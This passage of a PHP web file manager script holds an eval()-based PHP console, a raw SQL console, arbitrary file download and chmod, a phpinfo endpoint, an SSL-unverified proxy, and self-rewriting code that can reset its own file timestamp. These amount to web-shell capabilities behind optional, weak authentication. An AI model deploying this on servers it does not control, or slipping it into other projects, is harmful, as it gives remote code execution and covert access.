	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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